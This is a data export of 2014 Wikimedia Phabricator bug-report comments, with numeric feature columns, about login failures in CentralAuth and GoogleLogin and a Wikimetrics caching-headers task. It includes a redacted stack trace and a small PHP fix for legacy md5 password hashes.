312697,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs",We ran into this on testwiki (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d) which Reedy backported and deployed so now it's throwing a MWException instead of a fatal error. I'm not sure whether it is supposed to be redirecting the user in the first place though...,,,1408119023,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,11.0,13.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,13.0,7.0,0.0,0.0,0.0,9.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.826086956521739,0.9347826086956522,We ran into this on testwiki (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d) which Reedy backported and deployed so now it's throwing a MWException instead of a fatal error. I'm not sure whether it is supposed to be redirecting the user in the first place though...
312694,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs",Chris S/Kunal: Any ideas?,,,1408115499,,PHID-USER-z3l4i7dl52qicxtephy5,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,Chris S/Kunal: Any ideas?
312692,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Confirming.
No idea if this is specific to BetaLabs or a general issue in CentralAuth, hence tentatively setting highest prio and CC'ing Greg and Chris.",,,1408104663,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,3.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,3.0,0.0,4.448275862068965,0.9310344827586207,"Confirming.
No idea if this is specific to BetaLabs or a general issue in CentralAuth, hence tentatively setting highest prio and CC'ing Greg and Chris."
71007,On login: Fatal exception of type PasswordError on 1.24wmf16,"This doesn't seem to affect all accounts (I am able to login just fine), but some accounts seem to have issues logging in since today on mediawiki.org, and 1.24wmf16 was deployed yesterday. This can't be just a coincidence.

[b596cdd3] 2014-08-01 09:04:31: Fatal exception of type PasswordError
[979b6eb4] 2014-08-01 12:49:06: Fatal exception of type PasswordError

See URL for those reports.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**URL**: https://www.mediawiki.org/wiki/Thread:Project:Current_issues/Can%27t_log_in",Unbreak Now!,100.0,1406904540,1406916875.0,PHID-USER-jnta3z3spxto3vbxdngm,False,,False,PHID-TASK-7b2hrpzfm72xvwydlmme,task_description,resolved,True,c3,1,True,False,True,-48,True,1.0,0.0,0.0,0.5,1.0,3.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.0,5.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.5,0.0,0.5,0.0,0.0,0.0,10.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,10.5,0.5,1.0,3.5,0.0,0.0,0.0,0.0,3.5,0.0,7.5,0.0,0.5,5.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,3.742794486215539,0.6712092731829574,"This doesn't seem to affect all accounts (I am able to login just fine), but some accounts seem to have issues logging in since today on mediawiki.org, and 1.24wmf16 was deployed yesterday. This can't be just a coincidence.

[b596cdd3] 2014-08-01 09:04:31: Fatal exception of type PasswordError
[979b6eb4] 2014-08-01 12:49:06: Fatal exception of type PasswordError

See URL for those reports.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**URL**: URL"
310408,On login: Fatal exception of type PasswordError on 1.24wmf16,And thanks for the fix :),,,1406924233,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,And thanks for the fix :)
310402,On login: Fatal exception of type PasswordError on 1.24wmf16,Ciencia Al Poder: Thank you for quickly reporting this problem in Bugzilla!,,,1406920521,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,29.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.571428571428571,1.0,Ciencia Al Poder: Thank you for quickly reporting this problem in Bugzilla!
310391,On login: Fatal exception of type PasswordError on 1.24wmf16,Deployed into 1.24wmf16,,,1406916875,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,Deployed into 1.24wmf16
310388,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151126 merged by jenkins-bot:
Update CentralAuth for bug 69007

https://gerrit.wikimedia.org/r/151126",,,1406916451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5625,1.0,"Change 151126 merged by jenkins-bot:
Update CentralAuth for bug 69007

GERRIT_URL"
310385,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151126 had a related patch set uploaded by CSteipp:
Update CentralAuth for bug 69007

https://gerrit.wikimedia.org/r/151126",,,1406916223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,1.0,"Change 151126 had a related patch set uploaded by CSteipp:
Update CentralAuth for bug 69007

GERRIT_URL"
310384,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151120 merged by jenkins-bot:
Add prefix for old style hashes

https://gerrit.wikimedia.org/r/151120",,,1406915765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.176470588235294,1.0,"Change 151120 merged by jenkins-bot:
Add prefix for old style hashes

GERRIT_URL"
310383,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151120 had a related patch set uploaded by CSteipp:
Add prefix for old style hashes

https://gerrit.wikimedia.org/r/151120",,,1406915031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 151120 had a related patch set uploaded by CSteipp:
Add prefix for old style hashes

GERRIT_URL"
310382,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151118 merged by jenkins-bot:
Add prefix for old style hashes

https://gerrit.wikimedia.org/r/151118",,,1406914919,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.176470588235294,1.0,"Change 151118 merged by jenkins-bot:
Add prefix for old style hashes

GERRIT_URL"
310379,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151118 had a related patch set uploaded by CSteipp:
Add prefix for old style hashes

https://gerrit.wikimedia.org/r/151118",,,1406914260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 151118 had a related patch set uploaded by CSteipp:
Add prefix for old style hashes

GERRIT_URL"
310376,On login: Fatal exception of type PasswordError on 1.24wmf16,"Found it. CentralAuth doesn't do the md5 handling that User::loadFromRow() does,

if ( preg_match( '/^[0-9a-f]{32}$/', $row->user_password ) ) {
    $row->user_password = "":A:{$this->mId}:{$row->user_password}"";
}

Patch in just a minute..",,,1406912405,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,8.0,0.0,8.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0754716981132075,0.7547169811320755,"Found it. CentralAuth doesn't do the md5 handling that User::loadFromRow() does,

if ( preg_match( '/^[0-9a-f]{32}$/', $row->user_password ) ) {
    $row->user_password = "":A:{$this->mId}:{$row->user_password}"";
}

Patch in just a minute.."
310373,On login: Fatal exception of type PasswordError on 1.24wmf16,"2014-08-01 12:49:06 mw1042 mediawikiwiki: [979b6eb4] /w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=MediaWiki   Exception from line 108 of /usr/local/apache/common-local/php-1.24wmf16/includes/password/PasswordFactory.php: Invalid hash given
#0 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthUser.php(1532): PasswordFactory->newFromCiphertext('<REDACTED>...')
#1 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthUser.php(921): CentralAuthUser->matchHash('<REDACTED>', '433457', '<REDACTED>...')
#2 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthPlugin.php(60): CentralAuthUser->attemptPasswordMigration('<REDACTED>')
#3 /usr/local/apache/common-local/php-1.24wmf16/includes/User.php(3769): CentralAuthPlugin->authenticate('Reinheitsgebot', '<REDACTED>')
#4 /usr/local/apache/common-local/wmf-config/Bug54847.php(134): User->checkPassword('<REDACTED>')
#5 [internal function]: {closure}(Object(User), '<REDACTED>', 8, NULL)
#6 /usr/local/apache/common-local/php-1.24wmf16/includes/Hooks.php(206): call_user_func_array(Object(Closure), Array)
#7 /usr/local/apache/common-local/php-1.24wmf16/includes/GlobalFunctions.php(4031): Hooks::run('AbortLogin', Array, NULL)
#8 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(655): wfRunHooks('AbortLogin', Array)
#9 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(827): LoginForm->authenticateUserData()
#10 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(230): LoginForm->processLogin()
#11 /usr/local/apache/common-local/php-1.24wmf16/includes/specialpage/SpecialPage.php(382): LoginForm->execute(NULL)
#12 /usr/local/apache/common-local/php-1.24wmf16/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(NULL)
#13 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(294): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#14 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(609): MediaWiki->performRequest()
#15 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(458): MediaWiki->main()
#16 /usr/local/apache/common-local/php-1.24wmf16/index.php(46): MediaWiki->run()
#17 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#18 {main}",,,1406911370,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,9.833333333333334,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.8333333333333334,0.0,0.0,0.0,0.0,0.0,8.833333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,8.166666666666666,0.0,0.0,0.3333333333333333,8.5,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.1666666666666665,4.694444444444444,0.4021562440237139,"2014-08-01 12:49:06 mw1042 mediawikiwiki: [979b6eb4] /w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=MediaWiki   Exception from line 108 of /usr/local/apache/common-local/php-1.24wmf16/includes/password/PasswordFactory.php: Invalid hash given
#0 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthUser.php(1532): PasswordFactory->newFromCiphertext('<REDACTED>...')
#1 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthUser.php(921): CentralAuthUser->matchHash('<REDACTED>', '433457', '<REDACTED>...')
#2 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthPlugin.php(60): CentralAuthUser->attemptPasswordMigration('<REDACTED>')
#3 /usr/local/apache/common-local/php-1.24wmf16/includes/User.php(3769): CentralAuthPlugin->authenticate('Reinheitsgebot', '<REDACTED>')
#4 /usr/local/apache/common-local/wmf-config/Bug54847.php(134): User->checkPassword('<REDACTED>')
#5 [internal function]: {closure}(Object(User), '<REDACTED>', 8, NULL)
#6 /usr/local/apache/common-local/php-1.24wmf16/includes/Hooks.php(206): call_user_func_array(Object(Closure), Array)
#7 /usr/local/apache/common-local/php-1.24wmf16/includes/GlobalFunctions.php(4031): Hooks::run('AbortLogin', Array, NULL)
#8 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(655): wfRunHooks('AbortLogin', Array)
#9 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(827): LoginForm->authenticateUserData()
#10 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(230): LoginForm->processLogin()
#11 /usr/local/apache/common-local/php-1.24wmf16/includes/specialpage/SpecialPage.php(382): LoginForm->execute(NULL)
#12 /usr/local/apache/common-local/php-1.24wmf16/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(NULL)
#13 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(294): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#14 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(609): MediaWiki->performRequest()
#15 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(458): MediaWiki->main()
#16 /usr/local/apache/common-local/php-1.24wmf16/index.php(46): MediaWiki->run()
#17 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#18 {main}"
70445,Story: EEVSUser downloads report with correct Http Cache Headers,"The public report files on wikimetrics need to be served with the right set of headers for caching and CORS so the dashboard can use them

--------------------------
**Version**: unspecified
**Severity**: enhancement
**Whiteboard**: u=EEVSUser c=Wikimetrics p=5 s=2014-09-04",Unbreak Now!,100.0,1406130360,1410882012.0,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,False,PHID-TASK-4ttihyaoujzpvuhmzxqg,task_description,resolved,True,c3,1,True,False,True,-50,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,3.857142857142857,0.7142857142857143,"The public report files on wikimetrics need to be served with the right set of headers for caching and CORS so the dashboard can use them

--------------------------
**Version**: unspecified
**Severity**: enhancement
**Whiteboard**: u=EEVSUser c=Wikimetrics p=5 s=2014-09-04"
321111,Story: EEVSUser downloads report with correct Http Cache Headers,Changes were merged: https://gerrit.wikimedia.org/r/#/c/158819/,,,1410211814,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-4ttihyaoujzpvuhmzxqg,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,Changes were merged: URL
70316,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"**Author:** `mluxen`

**Description:**
If...
$wgGLAllowedDomains = array ('domain.tld');
$wgGLAllowedDomainsStrict = false;
...is enabled a blank webpage is shown after pressing Login with Google button and succesful Google Login.

The server log shows:
 Fatal error:  Call to undefined method SpecialGoogleLogin::getHost() in /<WEBROOT>/extensions/GoogleLogin/includes/specials/SpecialGoogleLogin.php on line 154

--------------------------
**Version**: master
**Severity**: critical",Unbreak Now!,100.0,1405936800,1406009344.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_description,resolved,True,c3,1,False,False,True,-50,True,0.0,0.0,0.0,1.0,0.0,4.5,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,12.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,4.380196078431373,0.6833333333333333,"**Author:** CODE

**Description:**
If...
$wgGLAllowedDomains = array ('domain.tld');
$wgGLAllowedDomainsStrict = false;
...is enabled a blank webpage is shown after pressing Login with Google button and succesful Google Login.

The server log shows:
 Fatal error:  Call to undefined method SpecialGoogleLogin::getHost() in /<WEBROOT>/extensions/GoogleLogin/includes/specials/SpecialGoogleLogin.php on line 154

--------------------------
**Version**: master
**Severity**: critical"
315054,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"Change 148051 merged by jenkins-bot:
Fixed fatal undefined SpecialGoogleLogin::getHost

https://gerrit.wikimedia.org/r/148051",,,1406009318,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.066666666666666,1.0,"Change 148051 merged by jenkins-bot:
Fixed fatal undefined SpecialGoogleLogin::getHost

GERRIT_URL"
315044,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"Thanks for testing Mike :)

